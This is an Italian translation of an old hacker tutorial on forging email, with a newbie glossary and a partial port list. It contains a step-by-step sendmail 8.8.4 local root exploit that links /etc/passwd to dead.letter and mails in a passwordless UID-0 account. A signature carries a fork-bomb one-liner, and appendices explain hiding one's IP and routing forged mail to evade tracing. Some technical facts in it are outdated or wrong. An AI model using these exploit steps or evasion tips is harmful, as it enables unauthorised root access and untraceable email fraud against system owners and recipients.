fix suggerito: inserire una addizionale lunghezza limite nei parametri di HELO/EHLO verificando le routine o disabilitando AllowBogusHELO (ma potrebbe causae seri problemi). Io non ho i sorgenti dell' 8.8.8 al momento, per questo mi scuso per mancanza di chiarezza.

PS:

--
From: Gregory Neil Shapiro

Io sono capace di riprodurre il problema delle proprietà allungando la stringa di HELO nel tuo script.

[...]
Questo sarà fissato in sendamail 8.9.
--

Micha³ Zalewski [tel 9690] | finger 4 PGP [lcamtuf@boss.staszic.waw.pl]
Iterowaæ jest rzecz± ludzk±, wykonywaæ rekursywnie - bosk± [P. Deustch]
=--------- [echo "while [-f \$0]; do \$0 &;done" >_;. _] ---------=

Giant Bug in Sendmail 8.8.4 (taken from hackersclub.com)
****

sendmail 8.8.4 exploit

"Sendmail? 'è il programma più buggato!" -phriend-

Ok, qui c'è una breve e interessante spiegazione di questo interessante exploit. Questo exploit usa la versione 8.8.4 di sendmail e richiede che tu abbia uno shell account sul server in questione. Questo exploit crea un link da etc/passwd a /var/tmp/dead.letter molto semplice veramente. Ecco come lavora, sotto ci sono gli esatti comandi che devi digitare (per quelli handicappati tecnicamente)

* ln /etc/passwd /var/tmp/dead.letter
* telnet target.host 25
* mail from: nonexsistent@not.an.actual.host.com
* rcpt to: nonexsistent@not.as.actual.host.com
* data
* lord::0:0:leet shit:/root:/bin/bash
* .
* quit

Kaboom, hai fatto, collegati tramite telnet alla porta 23 e loggati come lord, nessuna password richiesta.
Grazie a un pò di lavoro, lord ha appena ottenuto gli stessi privilegi del root.

Ci sono un paio di ragioni per cui potrebbe non lavorare.

1. /var e / sono partizioni differenti (come già sai, non puoi fare un link tra differenti partizioni)
2. C'è un account postmaster sulla macchina o mail alias, in questo caso, la tua posta finirà qui invece di essere scritta su etc/passwd
3. /var/tmp non esiste o non è scrivibile pubblicamente

Ducan Silver
www.hackersclub.com/uu
nota dell'editore: 'lord::0:0:leet shit:/root:/bin/bash' è una linea estratta da un file di password di Unix(33).

Note finali

Devi aver notato che non ho messo ogni cosa da BugTraq. Questo perchè ogni cosa a bugtraq ha almeno una
risposta (dalla mia esperienza) , e io non gradisco spedire l'intero threads(34) (sono così dannatamente lunghi!)

Angolo dei Newbies
===================
1. Daemon - un programma che è in attesa di una connessione su una porta specifica(2). Alcuni daemon possono ricevere comandi e interagire con te, altri possono semplicemnte emettere un pò di testo e uscire.

2. Port - (per una spiegazione più tecnica di cosa sono le porte, guarda la fine di questa spiegazione) le porte
sono come buchi che permettono alle cose (informazioni, in questo caso) di entrare. Ci sono porte fisiche e porte
software sul tuo computer . Le porte fisiche sono quegli slot sul retro del computer, del monitor ecc.. . Le porte
software sono usate quando ci si connette a un altro computer.
Per esempio : ho appena comprato un computer e voglio convertirlo in un web server (voglio permettere alle
persone di accedere a selezionate pagine web, immagini, cgi e java script o applet, programmi ecc.. che sono
localizzati sul mio computer (sul MIO computer non su squallidi webhost gratuti come Geocities) e voglio che le
persone facciano ciò utilizzando nient'altro che un browser). In ordine di quello che accade, io devo installare
un programma webserver.
Il programma webserver apre una porta sul mio computer chiamata porta 80 (questo numero può essere cambiato ma è
il numero di default). Poi aspetta per connessioni in arrivo su quella porta. Quando qualcuno naviga il mio sito
col suo browser (Netscape, Lynx, internet explorer ecc..) si cornette alla porta 80 del mio computer e manda dei
comandi HTTP che il mio programma webserver può capire.
Il mio programma webserver rapidamente prende i dati che arrivano e li manda indietro in una porta che il browser
apre sul computer del navigatore. Il browser attenderà su quella porta e aspetterà le informazioni (la pagina html,
le immagini, ecc..) che giungono attraverso essa.
Nota circa le porte non di default: se decidi di mettere, diciamo, un webserver su una porta non di default, sarà
difficile per le persone accedervi. Se tu decidi di metterlo sulla porta… huummm… 8000 invece di 80, le persone
dovranno digitare il tuo IP o il tuo hostname e aggiungere :8000 alla fine. Per esempio 143.241.122.1:8000.
Semplicemente digitando 143.241.122.1 nel capo per l’URL del tuo browser è lo stesso che digitare 143.241.122.1:80,
così è meglio mettere un webserver sulla porta 80 (a meno che tu vuoi che solo uno specifico gruppo di persone
abbia quel numero per accedere al webserver, ma un tale blocco può essere facilmente crackato usando un portscanner(12)).
Ci sono differenti porte per differenti servizi(3) così le informazioni non saranno mischiate. Immagina che il tuo
browser prenda dati che si suppone debba prendere il tuo client ftp!
Io spero tu abbia l’idea di cos’è una porta.
Allora, ci sono tre tipi di porte: le porte ben conosciute, quelle registrate e quelle dinamiche/private.
Le porte ben conosciute sono quelle dalla 0 alla 1023,. Queste sono porte di default per diversi servizi. Per

esempio: la porta di default per i webserver è 80. Altrimenti come potrebbe conoscere il tuo browser a quale
porta deve accedere?
Allora, le porte registrate sono quelle dalla 1024 alla 49151. Queste porte sono riservate per alcuni programmi.
Per esempio: ICQ (www.icq.com) riserva alcune porte per ascoltare vari eventi che arrivano (messaggi, trasferimenti di file, ecc..) attraverso esso. Le porte dinamiche/private sono quelle dalla 49152 alla 65535,
e possono essere usate da ognuno per ogni scopo.

Nota importante per le porte ben conosciute: i servizi su queste porte possono essere solo eseguiti da root,
così gli utenti inferiori non incominceranno a incasinare porte importanti.

3. Services - un daemon che permette a ognuno che si connette a esso (o a uno specifico gruppo di persone.
Per esempio: tutti quelli con lo stesso range di IP, quelli che conoscono la password segreta, ecc..) di usare
alcuni tipi di servizi.
Per esempio: un webserver come quello descritto nella sezione 1 di questo capitolo è un servizio poiché permette
alle persone di accedere e richiedere alcuni pezzi di dati.
Il più semplice esempio di servizio a cui posso pensare è "daytime". Il daytime attende connessioni sulla porta
13 e quando qualcuno ci va, immediatamente annuncia l'ora corrente sul computer che lo esegue (senza bisogno
che tu digiti comandi o password o altre cose). Semplice…

4. Daemon banner - la maggior parte dei daemon restituiscono alcune informazioni tecniche su alcuni punti a chi
si connette a essi. Queste informazioni possono essere usate da chiunque si connette a questo daemon semplicemente
per conoscere come interagire con esso meglio (quel daemon è, che versione, ecc..), ma esso può essere usato
dagli hackers.
Colleghiamoci alla porta 23 di someone.com (nota: io ho creato questo hostname e tutti i dettagli esso
riguardanti semplicemente per spiegarti i daemon banners. Io realmente non so se esiste un tale hostname e
se i dettagli che ti ho dato sono corretti). Sulla porta 23 potresti trovare di solito il telnet(19). Telnet
è un servizio che chiede un username e una password nella maggior parte dei casi (a meno che tu non digiti un
username non protetto da password. In quel caso semplicemente ti loggherà come un utente a cui non è stata
richiesta password) e poi esegue un programma specificato dal sysadmin(22) e ti lascia lavorare con esso. Nella
maggior parte dei casi userai una text-based shell (un interprete di comandi(20)). Il problema è: tu non puoi

fare tutto. Tutto dipende da che genere di permessi ha l'users con il quale ti sei loggato. L'user root(14) ha
tutti i permessi (legge, scrive (e cancella) e esegue ogni cosa e cambia i permessi delle altre persone).
Okay, proviamo a collegarci alla porta 23 su someone.com . All'inizio otteniamo questo:

Welcome to someone.com, running Laccetti 1.0
Login:

Aha! Someone.com sta girando su un sistema operativo chiamato Laccetti 1.0! Dovrebbe essere qualcosa di valore
(noi potremmo cercare un bug segnalato riguardante Laccetti 1.0 e questo potrebbe renderci capaci di hackerare
questo server). Ogni parte di informazione su un webserver è importante.
Adesso, poiché non sappiamo un username e una password per questo server potremmo anche terminare la connessione
o provare a indovinare. La maggior parte dei server hanno un guest account (username: guest, password:guest o
solo l'username:guest) o un newuser account (username:newuser, password:newuser o solo username:newuser), ma
questo certamente non ci aiuta ad hackerare questi ragazzi… a meno che c'è un buco maggiore in questi accounts.
Tu dovrai immaginare queste cose da solo.
Nota su la parola server: un computer è chiamato server se offre servizi. Altrimenti, è chiamato host.

5. Timeout - Okay, adesso ho un daemon che aspetta connessioni sulla porta 23. Adesso, cosa accade se qualcuno
si connette ad esso e non fa assolutamente nulla? Egli potrebbe semplicemente rimanere connesso finchè uno di noi
o resetta o chiude la connessione. Non vuoi che qualcuno si connetta a qualche porta sul tuo computer e ci rimanga
solo collegato, non è vero? Questo potrebbe solo sprecare bandwith(15) di valore!
Le persone non vorranno monitorare lo stato del loro network 24 ore al giorno e disconnettere ognuno che decide
di aspettare finchè resta collegato (specialmente su grandi network). Per questo è stato inventato il Timeout.
Settando un valore di timeout su un daemon (questo può essere fatto durante il processo di setup o lanciando
un programma di setup o entrando in alcuni tipi di box di opzioni) puoi chiudere la connessione a ognuno che
si connette a esso e non fa nulla per un valore di tempo superiore al timeout. Per esempio: tu metti un daemon
sulla porta 17 e setti il timeout dopo 2,5 secondi. Se qualcuno si connette al tuo daemon e non digita nulla
per un tempo superiore ai 2,5 secondi, gli verrà chiusa la connessione e quella persona dovrà riconnettersi
e cominciare a digitare qualcosa prima che il tempo scada e venga cacciato.
Questo è il motivo per cui i webserver hanno un breve timeout di 2 secondi (la maggior parte delle persone

si connette ai webserver usando programmi client(16), e questi programmi digitano davvero velocemente…).

6. TCP - sta per Transfer Control Protocol. TCP è un protocollo che è usato per trasferimenti di dati attraverso network (internet, networks locali, ecc..). TCP è molto più affidabile di UDP poiché usa alcune precauzioni, come numeri sequenziali e tutti i tipi di flags di header ingegnosi e tutti (vedi l'eccellente articolo chiamato 'IP spoofing Demystified' nella Books Section in blacksun.box.sk per molte informazioni su UDP (veramente DA LEGGERE!!)).
Il solo svantaggio di TCP è che è un po' più lento dell'UDP, ma è più affidabile, perciò è usato per trasferire files delicati (come programmi - se tu perdi un singolo bit del file l'intera cosa è inutilizzabile).

7. UDP - sta per User Datagram Protocol. UDP è un protocollo usato per trasferire dati attraverso networks (internet, networks locali, ecc..). UDP è meno affidabile di TCP, ma tuttavia è un po' più veloce, perciò è usato da programmi come Real Player per le trasmissioni video, dove la perdita di un singolo pacchetto(32) o due non è una grave preoccupazione.

8. ICMP - sta per Internet Control Message Protocol. Un protocollo usato per trasferimento di errori tra networks (internet, networks locali, ecc..).

9. IP address - ogni computer connesso a internet ha un indirizzo ip. Se un altro computer vuole interagire con il tuo computer ha bisogno del tuo IP, cosi come tu hai bisogno del numero di telefono di un'altra persona per chiamarla.
L'indirizzo IP dovrebbe assomigliare a questo: x.x.x.x dove le x possono essere un numero tra 0 e 255.
Nota: ci sono indirizzi IP 'speciali' che non sono usati per connettersi agli altri computer.
Per esempio 127.0.0.1 significa localhost, ovvero significa te (il tuo computer). Connettendosi a una certa porta sull'indirizzo IP 121.0.0.1 ti connetterai su una porta del tuo computer. Oh, approposito, IP sta per Internet Protocol(18).

10. Hostname - hey, indovina cosa!? Ho trovato questo sito davvero figo! Ma non posso ricordarmi il suo
indirizzo IP, e quando lo faccio, odio digitare queste cose così lunghe! Certo, posso conservarlo, ma cosa
vorrò dire ai miei amici su di esso? O cosa farò se sto navigando dal computer di un mio amico o di un posto
pubblico e non ho lo ho con me? La risposta a tutte queste domande è l'hostname.
Gli hostnames sono pseudonimi degli indirizzi IP. Una lista di hostnames e il loro indirizzo IP è situata in
InterNIC, che è un database di tutti gli hostnames e il loro indirizzo IP.
Quando digiti un hostname, il tuo computer cercherà quell'hostname e troverà l'appropriato indirizzo IP e si
connetterà a esso.
Ma invece di dover sovraccaricare InterNIC (Immagina che l'intero mondo si connetta ad esso. Questo sovraccaricherebbe sicuramente i loro servers e dovrebbero spendere soldi per costanti upgrades e backups.
E pensa se accadesse qualcosa di male al loro database…). La soluzione per questo problema è chiamata DNS
servers(17).

11. Scoprire quali sono i server di posta del tuo ISP - ci sono diversi modi per farlo:
1) Chiama il tuo ISP e chiedi l'indirizzo IP o l'hostname del server della posta in uscita (questo è il server
di cui hai bisogno per fare tutti gli scherzi di questo tutorial). Se vuoi conoscere un server di posta di un ISP
diverso dal tuo, chiama il loro numero di supporto tecnico. Ma come fare se sei dall'altra parte del mondo e non
ti va di spendere tonnellate di soldi per chiamarli ed essere messo in attesa? In questo caso vai al punto 3.
2) Lancia il tuo client di posta, vai nel menu delle preferenze e cerca cosa è scritto nel campo 'outgoing
mail' o in 'server SMTP' (sono la stessa cosa. SMTP sta per Simple Mail Transfer Protocol, che è un protocollo(18)
che è usato per mandare e-mail attraverso internet).
3) Indovinando! Se il tuo server bersaglio è someone.com, il loro mail server dovrebbe essere
mail.someone.com:25 o someone.com:25. Se no, manda un e-mail a admin@someone.com o a support@someone.com
e chiedi loro qual è il loro mail server (essi dovrebbero essere felici di risponderti, a meno che tu gli
dici che sei un malefico hacker o qualcosa di simile. In quel caso chiameranno la polizia…).
Nota: non tutti i server del mondo hanno un server per la posta in uscita!

12. Portscanner - un programma che effettua lo scan di un bersaglio per trovare le porte aperte provandosi
a connettersi su varie porte. Il più semplice portscanner incomincerà dalla porta 1 e continuerà, ma puoi
impostare, sui più sofisticati portscanner, uno specifico range.

13. Services scanner - uno scanner di servizi è molto più sofisticato di un portscanner poiché prova a
connettersi su porte predefinite che dovrebbero avere un servizio che tu stai cercando.

14. Root - un account su un computer Unix che ha i massimi privilegi permessi (legge, scrive (e cancella)
e esegue ogni cosa e cambia i permessi delle altre persone). Nota: altri account possono avere accesso root,
e l'account root potrebbe non sempre avere accesso root, dipende dal sysadmin(22) (ma root è l'account di
default per l'accesso root).

15. Bandwith - il totale ammontare della velocità di un dispositivo per la connessione a un network
(un modem, una network card, un mail pigeon, ecc..) può averlo. Per esempio: ho appena comprato un nuovo modem.
Ha un ampiezza di banda di 100Ks per secondo, ciò significa che può trasferire 100Ks per secondo.
Quando usi il tuo dispositivo network per fare qualcosa, esso assorbirà un po' di ampiezza di banda a seconda
della sua operazione.

16. Progamma client - un programma che si connette a certi servizi. La maggior parte dei client dovrebbero sapere

come comunicare con quel servizio con o senza le informazioni che riceve dal daemon banner.
Esempio: un internet browser (come Netscape) è un client poiché si connette alla porta 80, dove il webserver
daemon sta aspettando per una connessione, e interagisce con esso per poter reperire il file che stai cercando.
Un browser deve conoscere come comunicare con il webserver daemon (anche detto HTTPD, http daemon. http sta per
Hyper Text Transfer Protocol) per poter pienamente accompiere alle tue richieste.

17. DNS server - un server che conserva hostnames e i loro indirizzi IP. Invece di dover gestire i servers
InterNIC's tutto il pianeta, ogni ISP ha un DNS server.
Quando digiti un hostname e dici al tuo modem di connettersi a esso, il tuo computer eseguirà l'azione chiamata
' DNS Lookup'. In altre parole, chiederà al DNS server del tuo ISP l'indirizzo IP appropriato per l'hostname che
tu hai digitato. Se il server DNS del tuo ISP non sa la risposta, chiede a un server DNS di più alto livello.
Se il server DNS di più alto livello non sa la risposta, chiederà a un server DNS di livello ancora maggiore,
ecc.. . Il più alto livello è InterNIC stesso.
Se il primo server DNS conosceva la risposta te l'avrebbe data la prima volta. Altrimenti (se l'avesse trovata
dopo richieste ad altri server), prima l'avrebbe aggiunta al suo proprio database e poi te l'avrebbe data.

18. Protocol - un insieme di regole usate dai computer per interagire tra di loro tramite un network di simili
(come internet o alcuni network locali) essi hanno bisogno di conoscere un protocollo comune e ogni computer deve
presupporre che gli altri lo conoscono e lo usano.

19. Telnet - un programma che nella sua semplicità permette di formare una connessione basata sul testo tra il
tuo computer e un altro computer attraverso un network di qualche sorta. Tu dovresti scegliere l'indirizzo IP
o l'hostname e la porta con cui vuoi metterti in contatto, e telnet stabilirà una TCP connessione tra entrambe
le macchine.
Nota circa il Telnet daemon: il telnet daemon è completamente differente. Esso aspetta per connessioni TCP o
UDP in arrivo sulla porta 23 e poi chiede l'user per il login (spesso chiamato username) e la password (a
meno che l'user digita un username privo di password. In quel caso, ti loggherà senza richiedere la password.
Account senza password sono davvero rari!) e poi procede a eseguire un programma (generalmente un interprete
dei comandi(20)) e a darti alcuni permessi, tutto dipendente dallo username e dalla password che gli hai dato

(a meno che tu abbia sbagliato. In quel caso, ti sarà detto che o l’username o la password sono sbagliati e
ti sarà data un'altra possibilità. La maggior parte dei sistemi ti danno 3 possibilità e poi ti sganciano).

20. Command Interpreter - un programma che accetta comandi da l’user e li trasforma in comandi reali che il
computer capisce.
Per esempio: se il tuo interprete contiene un comando chiamato, diciamo, ‘display’, che accetta un singolo
parametro che dovrebbe essere un nome di un file, e tu digiti ‘display somefile’ (senza le virgolette, e
sostituisci somefile con un file reale) esso tradurrà il comando in ‘okay Sig. Computer, trova il disco rigido
facendo questo e questo, vai alla FAT (File Allocation Table) e trova in quale settore/settori questo file è
contenuto, prendi il file e mandalo al dispositivo terminale (il dispositivo standard per l’output è il monitor).
Questo rende l’idea?

21. Shell account - un account su un computer remoto (un username, una password, e un gruppo di file di
configurazione personale e cose varie). Avere uno shell account su un computer remoto significa avere la
possibilità ti collegarsi via telnet ad esso sulla porta 23, digitare il login del tuo account (anche detto
username) e la password e ottenendo un interprete dei comandi con alcuni permessi (a seconda del
sysadmin)).

22. Sysadmin/admin - l’uomo/donna/essere peloso che gestisce un sistema.

23. Hyper Text - se hai mai visto un documento HTML dovresti sapere cos’è un iper testo, ma potresti non essere
consapevole di ciò. HTML sta per Hyper Textual Markup Language. Iper testo è considerato come
“un testo arricchito”, poiché puoi aggiungere figure, colori, links, ecc.. ad esso. Confronta quello con
il testo regolare e noioso che usa questo tutorial… :D

24. RFC - sta per Request For Comment. Questi sono schizzi di relazioni dell’ IETF (Internet Engeneering
Task Force - quei ragazzi che impostano tutti quegli standards di internet e cose varie). Essi contengono
suggerimenti per gli standards di internet. Puoi trovare gli RFCs su www.linuxberg.com .

25. InterNIC - il database di registrazione domini e il server DNS di più alto livello sul pianeta.

26. Sub domain - domini di prima classe appaiono così: something.com (o altre estensioni come org, net,
it, co.uk, ecc..). Costa 70$ registrarne uno (vedi www.networksolution.com). Domini di seconda classe
appaiono così: someone.something.com e costa 0$ registrarne uno, se hai something.com già registrato
a te naturalmente (sebbene puoi procurartene gratis su siti come www.anrki.com). Domini di terza classe

appaiono così: blah.someone.something.com e non costano nulla, ecc.. .
Nota circa il prezzo dei domini di prima classe: questo prezzo non include il web hosting (qualcuno che ospiterà il tuo sito o qualunque cosa vuoi mettere sul loro server).

27. SSH - sta per Secure Shell. Questo daemon aspetta per connessioni TCP o UDP in arrivo sulla porta 22.
Una volta che ti connetti, ti verranno chiesti un login e una password, proprio come il daemon telnet, solo che SSH encripta ogni cosa per aumentare la sicurezza.

28. Moderated mailing list / mesage board - ti spiegherò questo dandoti un esempio. Bugtraq (vedi www.securityfocus.com) è una delle migliori mailing list legate alla sicurezza. Sebbene le persone possono "mandare cose alla lista" (significa mandare un messaggio e-mail e ottenere che venga mandato
a tutti i membri della mailing list), tu non puoi proprio mandare ogni cosa. Aleph1, il moderatore, visiona tutti i messaggi inviati e spedisce solo quelli utili.
Lo stesso avviene con le message boards moderate, ecc...

29. DoS attack - DoS sta per Denial Of Service (anche detto "nuke" o "newk"). Un attacco DoS è ogni genere di attacco che causa il blocco di alcuni/tutti i servizi di un computer bersaglio.
Per esempio: Winnuke (anche conosciuto come OOB), il più semplice DoS al mondo.
(Preso dal sito dei DoS di Spikeman) Questo programma DoS colpisce i clients di windows mandando un messaggio d'eccezione "out of band" alla porta 139, che non conosce come affrontarlo. Questa è una porta standard di ingresso di windows. Utenti di win 3.11, win95 e win NT sono vulnerabili a questo attacco. Questo programma è principalmente un programma seccatore, ma sta circolando molto in internet adesso. E' diventato una preoccupazione nelle chatrooms e su IRC. Usando il tuo indirizzo IP e inviando sulla porta 139 dati OOB, utenti maliziosi possono disconnetterti dalla rete, spesso lasciandoti con poche risorse e lo schermo tinto di blu. Qualcuno di voi potrebbe già esserne stato
vittima. Se questo avviene su win95, vedrai un errore fatale di windows simile al seguente:
Fatal exception 0E at 0028: in VxD MSTCP(01) + 000041AE.
This was called from 0028: in VxD NDIS(01) + 00000D7C.
Rebooting the comp should return it to normal state.

Patches ("fixes") For WinNuke (OOB)
-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=-=-=-=
Informazioni addizionali su WinNuke
http://support.microsoft.com/support/kb/articles/Q168/7/47.asp
Windows 95 Patches
http://support.microsoft.com/download/support/mslfiles/Vipup11.exe
http://support.microsoft.com/download/support/mslfiles/Vipup20.exe (for Winsock 2.0*)
http://www.theargon.com/defense/nuke/index.html
Leggere le note riferite alle pacthes per il 95 prima di installarlo.
Quale versione di Winsok hai installata sul tuo pc?
http://premium.microsoft.com/support/kb/articles/Q177/7/19.asp
http://www.theargon.com/defense/nuke/index.html
Windows NT 4.0 Patch
http://support.microsoft.com/support/kb/articles/Q143/4/78.asp
http://www.theargon.com/defense/nuke/index.html

Leggere le note riferite alle pacthes per l’ NT prima di installarlo.

Maggiori informazioni sugli attacchi DoS possono essere trovati in:
www.genocide2600.com/~spikeman/main.html

* In realtà non so se questa patch lavorerà su una versione più nuova di Winsock. Perciò io vorrei raccomandarti
di downgradarti prima alla versione 1.1 di Winsock (quella allegata a win95) andando nel pannello di controllo ->
Network -> e rimovendo l’adattatore TCP/IP e Dial Up e poi ri-aggiungendolo clickando add -> scegli il protocollo
e nello spazio delle compagnie scegli Microsoft. Poi cerca per un opzione chiamata TCP/IP e fai doppio click su di
essa. Lo stesso per DUN (Dial Up Networking), fai lo stesso ma scegli adattatore invece di protocollo.
Dopo che hai finito il downgrading ri-upgrada winsock 2.0, applica la patch (vipup20.exe) e poi upgrada alla nuova
versione di winsock.

30. DUN - sta per Dial Up Adapter. DUN è un programma allegato di windows e chiama il tuo ISP nel caso che hai un
acount Dial-Up(31)

31. Dial-Up account - un account dial-up presso un ISP significa che il tuo modem deve chiamare alcuni numeri
prima che tu possa accedere alla rete. A differenza degli altri account ISP (cavi diretti che ti tengono online
24 ore su 24), tu hai un indirizzo IP dinamico (e non statico come una connessione diretta via cavo) poiché tu
ti devi connettere e disconnettere invece di stare online tutto il tempo. Ogni volta che ti riconnetti ti viene
assegnato un differente indirizzo IP.

32. Packet - un pezzo di dati che viaggia attraverso un network (come internet o un network locale o esteso).
Un pacchetto è costituito da due parti principali: l’header e i dati stessi. L’header contiene tutti i tipi di
ingegnosi valori come il TTL (Time To Live) e oltre (puoi leggere argomenti collegati nella sezione
‘Modem Speedup’ a blacksun.box.sk). La parte dei dati contiene i dati attuali che il pacchetto sta trasportando.
Su un regolare acount dial-up, la grandezza di un pacchetto dovrebbe essere 576 bytes (incluso l’header),
ma su una connessione diretta via cavo dovrebbe essere molto più grande (guarda ancora la sezione
‘Modem Speedup’ a blacksun.box.sk).

33. Unix password file - ogni sistema unix ha un file di password. Esso contiene una lista di user, le loro
password e alcuni importanti informazioni su di loro. Il file di password è situato in etc/passwd. Ogni linea
rappresenta un utente. Ogni linea è costituita da 7 campi, separati dal segno ‘ : ‘.

Una linea di un file di password dovrebbe apparire come questa:
username:password criptata:UID:GID:breve descrizione:home directory:shell
Username: l’username dell’utente
Password criptata: la password dell’utente (criptata per maggiore sicurezza). Una password criptata in genere
è lunga 13 caratteri.
UID - User ID: ogni utente ha un numero ID. Se il tuo UID è 0 significa che hai accesso root.
GDI - Group ID: puoi impostare un gruppo (per esempio: tutte le persone che lavorano nella divisione contabilità)
e impostare permessi speciali per quell’intero gruppo. Il root ha GID 0.
Breve descrizione: breve descrizione dell’utente in linguaggio umano.
Home directory: il directory dove sono contenuti tutti i files di configurazione personale dell’utente.
Shell: un programma che è eseguito una volta che l’utente è collegato. Nella maggior parte dei casi (e in questo caso anche) lo shell è un interprete di comandi.
Se il campo della password criptata è vuoto, significa che l’utente può loggarsi semplicemente immettendo
solo l’username. Questo può essere cambiato dopo esserci loggati digitando ‘passwd’ all’interprete dei comandi.
Ti sarà chiesto di impostare una password per il tuo account.
Nota: su alcuni sistemi, devi digitare passwd tuo-username invece di digitare solo passwd.
Nota 2: il root può fare passwd tuo-username e cambiare la password del tuo username, non importa qual è il
tuo username.
Nota 3: se tu digiti un qualsiasi carattere che non sia uno dei seguenti ‘. / 0-9 a-z A-Z’ (senza le virgolette)
o se non digiti nulla, l’account è disabilitato così che l’utente non può loggarsi.
Questo è usato quando sai che potresti voler abilitare l’account in futuro.

Crackare le password criptate
<><><><><><><><><><><><><><><>
Per questo hai bisogno di un password cracker. Un password cracker è un programma che estrae una parola da
un file dizionario (anche chiamato ‘wordlist’) o da una combinazione di lettere, numeri, ecc.., il programma
la encripta sistematicamente (‘brute force cracking’), nel modo delle password criptate di unix e poi la compara alle passwords date in un file di password. Se le password combaciano, annuncia la password corretta
per quell’username.

34. Trhead - adesso sto parlando dei threads nelle liste di discussione e nelle bacheche di messaggi, non sui programmi dei computer. Discuteremo di quelli in un'altra occasione (forse). Un thread è una serie di
messaggi che parte da un singolo messaggio. Lasciatemi mostrare: una persona inizia un thread esprimendo
un fatto o un opinione. Poi, un'altra persona va nella lista di discussione o nella bacheca di messaggi e esprime la sua opinione su quel soggetto. Poi un'altra persona replica all’opinione della seconda persona.
Poi un altro viene, ma decide di replicare al messaggio originale poiché non ha nulla da dire sugli altri

messaggi (se si, può spedire due messaggi). Hai afferrato l'idea…

Appendice A: falsi daemons
=========================
Trovai questi due falsi daemon (sendmail e telnet) presso packetstorm.security.com una volta. Questi sono
fantastici per ingannare gli attaccanti e per giocare scherzi ai tuoi amici.
Questi sono programmi Perl (un linguaggio di programmazione).
Per eseguirli su un sistema unix , digita semplicemente ./nomefile e rimpiazza nomefile con il nome del file che vuoi eseguire. Ogni distribuzione unix contiene perl (Penso. Correggetemi se sbaglio: barakirs@netvision.net.il).
Per eseguirli sotto dos/windows devi scaricare active perl da www.activeperl.com e poi semplicemente fare doppio click su di essi.
Non so come eseguirli sotto un mac. Penso che active perl supporta il mac, ma non sono sicuro.
Adesso sui falsi daemons.
Ci sono due daemon contenuti in un unico pacchetto con un file readme. Di seguito ci sono tutti e tre i file. Non li ho alterati, è tutto per te. Gioca con loro e impara. Oh ,approposito, , se vuoi imparare il perl (o ogni altro linguaggio di programmazione), vai a blacksun.box.sk e cerca la sezione 'book'.
Divertitevi!

Appendice B: Routing Mail
=====================
Puoi far andare la tua posta lungo molti differenti servers per rendere l'header più lungo e confondere le persone che vogliono scovarti.
Esempio: se vuoi mandare una e-mail fasulla a blah@blah.com, e farla viaggiare lungo blaha.com, blahb.com
e blahc.com, allora nella parte rcpt:, fai semplicemente questo:
@blaha.com,@blahb.com,@blahc.com:blah@blah.com
Nota: questo non lavora con ogni daemon sendmail.
Grazie a Magnus Kristiansens per questo! ;-)

Appendice C: nascondere il tuo IP
========================
Così non vuoi che le persone trovino il tuo IP e il tuo hostname quando li cercano nell'header completo?
Allora semplicemente nascondi il tuo IP!
Puoi farlo usando Wingates o SOCKS firewalls, o collegandoti con telnet al daemon sendmail da uno shell
account. Se usi uno di questi, il full header mostrerà l'IP del Wingate/SOCKS firewall/provider dello shell. Se trovi uno shell acount che ti permette di collegarti con telnet al suo esterno, puoi usare ciò per falsificare il tuo IP. Altrimenti, usa wingates o SOCKS firewalls. Per imparare di più leggi i tutorial su Proxy/Wingate/SOCKS e il nostro tutorial sull'anonimato a blacksun.box.sk.
Noi raccomandiamo anche di andare alla sezione 'books' sul nostro sito e scaricare l'eccellente manuale
chiamato 'IP spoofing Demystified'. Le cose scritte potrebbero non essere così pratiche, ma è molto importante leggerlo (imparerai un sacco di cose importanti che potrai usare in seguito).

Appendice D: Reply-to
=====================
L’opzione reply-to fa il seguente: quando una persona riceve un e-mail con un indirizzo replay-to e manda una risposta, la risposta è mandata all’indirizzo specificato dentro il comando replay-to (questo non funziona sui clients di posta davvero davvero vecchi). Per usarlo semplicemente inserisci questa linea:
Replay-to: some-user@some-server.net
e rimpiazza some-user e some-server con gli appropriati utente e server. Devi includere questa linea prima o dopo la parte “subject:”.

Appendice E: CC e BCC
========================
CC è usato per mandare messaggi a altre persone che non sono I riceventi del messaggio, ma potrebbero avere bisogno delle informazioni in esso.
BCC è usato allo stesso modo, solo le persone possono vedere Il destinatario.
La B in BCC sta per Blind, mentre le CC stanno per Carbon Copy (come quando copi una pagina usando…indovina). Così BCC sta per Blind Carbon Copy mentre CC sta per Carbon Copy. Eccitante, non è vero? Grazie a 12tb per questa informazione.
Vuoi usare CC e BCC nelle tue e-mail false? Nessun problema!
Essi lavorano esattamente come il comando Reply-to. Semplicemente mettendo linee CC: o BCC: nella tua e-mail falsa (nel corpo del messaggio), e poi inserendo l’appropriato indirizzo e-mail.

Consultazioni
================
RFC 821 - the SMTP RFC. Possono essere trovati presso freesoft.org/CIE/RFC/821/index.htm .
Grazie a Chris Karwoski per questo ;-)

Questa guida è stata scritta da Raven e tradotta dal M3xican (m3xican@napolihak.cjb.net), se considerate la traduzione scadente o vi volete cimentare nell’impresa potete scaricare la versione originale in americano sempre su http://napolihak.cjb.net.

WELL KNOWN PORT NUMBERS

<Source:Notes> <Author>

If you don't find what you were expecting or hoping for please provide <Comments or additions>

Italics indicates that a protocol is rare or non-existant.

- 0/tcp Reserved
- 0/udp Reserved
- tcpmux 1/tcp TCP Port Service Multiplexer
- compressnet 2/tcp Management Utility
- compressnet 3/tcp Compression Process
- rje 5/tcp Remote Job Entry
- echo 7/tcp Echo
- echo 7/udp Echo
- discard 9/tcp Discard
- discard 9/udp Discard
- systat 11/tcp Active Users
- daytime 13/tcp Daytime
- daytime 13/udp Daytime
- qotd 17/tcp Quote of the Day
- qotd 17/udp Quote of the Day
- rwrite 18/tcp RWP rwrite
- rwrite 18/udp RWP rwrite
- msp 18/tcp Message Send Protocol
- msp 18/udp Message Send Protocol
- chargen 19/tcp Character Generator
- chargen 19/udp Character Generator
- ftp-data 20/tcp File Transfer [Default Data]
- ftp 21/tcp File Transfer [Control]
- telnet 23/tcp Telnet
- 24/tcp any private mail system
- 24/udp any private mail system
- smtp 25/tcp Simple Mail Transfer
- nsw-fe 27/tcp NSW User System FE
- nsw-fe 27/udp NSW User System FE
- msg-icp 29/tcp MSG ICP
- msg-icp 29/udp MSG ICP
- msg-auth 31/tcp MSG Authentication
- msg-auth 31/udp MSG Authentication

- dsp 33/tcp Display Support Protocol
- dsp 33/udp Display Support Protocol
- 35/tcp any private printer server
- 35/udp any private printer server
- time 37/tcp Time
- time 37/udp Time
- rap 38/tcp Route Access Protocol
